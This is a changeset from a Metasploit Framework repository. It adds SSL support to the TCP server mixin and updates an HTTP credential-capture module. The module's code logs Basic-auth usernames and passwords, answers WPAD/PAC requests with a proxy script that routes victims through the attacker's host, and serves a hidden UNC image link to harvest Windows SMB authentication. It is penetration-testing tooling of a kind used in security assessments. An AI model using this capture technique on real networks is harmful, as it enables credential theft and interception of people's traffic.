Changeset 5452

Show
Ignore:
Timestamp:
03/22/08 01:34:52 (2 months ago)
Author:
hdm
Message:

Fixes #218. Updates the http password capture module. Removes a bogus makefile from the tree

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/lib/msf/core/exploit/tcp.rb

    r5051 r5452  
    252252                register_options( 
    253253                        [ 
     254                                Opt::SSL,                        
    254255                                OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), 
    255                                 OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 8080 ]) 
     256                                OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 8080 ]), 
    256257                        ], Msf::Exploit::Remote::TcpServer) 
    257258                 
     
    310311                                'LocalHost' => srvhost, 
    311312                                'LocalPort' => srvport, 
     313                                'SSL'       => ssl, 
    312314                                'Context'   => 
    313315                                        { 
     
    391393 
    392394        # 
     395        # Returns the SSL option 
     396        # 
     397        def ssl 
     398                datastore['SSL'] 
     399        end 
     400         
     401         
     402        # 
    393403        # Re-generates the payload, substituting the current RHOST and RPORT with 
    394404        # the supplied client host and port from the socket. 
  • framework3/trunk/lib/rex/socket/ssl_tcp_server.rb

    r3616 r5452  
    2626        def accept(opts = {}) 
    2727                sock = super() 
    28                 if (sock) 
    29                         sock.extend(Rex::Socket::Tcp) 
    30                         sock.context = self.context 
    31                         pn = sock.getpeername 
     28                return nil if not sock 
     29                 
     30                sock.extend(Rex::Socket::Tcp) 
     31                sock.context = self.context 
     32                pn = sock.getpeername 
    3233 
    33                         sock.peerhost = pn[1] 
    34                         sock.peerport = pn[2] 
    35         end 
    36                 t = OpenSSL::SSL::SSLSocket.new(sock, self.sslctx) 
    37                 t.extend(Rex::Socket::Tcp) 
    38                 t.accept 
    39          
    40         t 
     34                begin 
     35                        t = OpenSSL::SSL::SSLSocket.new(sock, self.sslctx) 
     36                        t.extend(Rex::Socket::Tcp) 
     37                        t.peerhost = pn[1] 
     38                        t.peerport = pn[2]               
     39                        t.accept 
     40                t 
     41                rescue ::OpenSSL::SSL::SSLError 
     42                        sock.close 
     43                        nil 
     44                end 
    4145        end 
    4246 
     
    6670                cert.subject = subject 
    6771                cert.issuer = issuer 
    68                 cert.not_before = Time.now 
    69                 cert.not_after = Time.now + 3600 
     72                cert.not_before = Time.now - 7200 
     73                cert.not_after = Time.now + 7200 
    7074                cert.public_key = key.public_key 
    7175                ef = OpenSSL::X509::ExtensionFactory.new(nil,cert) 
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5451 r5452  
    5454 
    5555        def run 
     56                @myhost = datastore['SRVHOST'] 
     57                @myport = datastore['SRVPORT'] 
    5658                exploit() 
    5759        end 
     
    9294         
    9395        def dispatch_request(cli, req) 
    94          
     96                 
     97                mysrc = Rex::Socket.source_address(cli.peerhost) 
     98                hhead = (req['Host'] || @myhost).split(':', 2)[0] 
     99 
    95100                if(req['Authorization'] and req['Authorization'] =~ /basic/i) 
    96101                        basic,auth = req['Authorization'].split(/\s+/) 
     
    99104                                :host      => cli.peerhost, 
    100105                                :proto     => 'http', 
    101                                 :targ_host => req['Host'] || datastore['SRVHOST']
    102                                 :targ_port => datastore['SRVPORT']
     106                                :targ_host => hhead
     107                                :targ_port => @myport
    103108                                :user      => user, 
    104109                                :pass      => pass, 
    105110                                :extra     => req.resource.to_s 
    106111                        ) 
    107                         print_status("HTTP LOGIN #{req['Host']}:#{datastore['SRVPORT']} #{user} / #{pass} => #{req.resource}") 
     112                        print_status("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}") 
    108113                end 
    109114                 
    110115                if(req.resource =~ /^wpad.dat|.*\.pac$/i)  
    111                         prx = "function FindProxyForURL(url, host) { return 'PROXY #{Rex::Socket.source_address(cli.peerhost)}:#{datastore['SRVPORT']}'; }" 
     116                        prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" 
    112117                        res =  
    113118                                "HTTP/1.1 200 OK\r\n" + 
    114                                 "Host: #{req['Host'] || datastore['SRVHOST']}\r\n" + 
     119                                "Host: #{hhead}\r\n" + 
    115120                                "Content-Type: application/x-ns-proxy-autoconfig\r\n" + 
    116121                                "Content-Length: #{prx.length}\r\n" + 
     
    121126                end 
    122127                 
    123                 print_status("HTTP REQUEST #{req['Host']}:#{datastore['SRVPORT']} #{req.resource}") 
     128                print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource}") 
    124129                 
    125                 data = "<html><head><title>Connecting...</title></head><body><img src='\\\\#{Rex::Socket.source_address(cli.peerhost)}\\public\\loading.jpg' width='1' height='1'></body></html>" 
     130                data = "<html><head><title>Connecting...</title></head><body><img src='\\\\#{mysrc}\\public\\loading.jpg' width='1' height='1'></body></html>" 
    126131                res  =  
    127132                        "HTTP/1.1 200 OK\r\n" +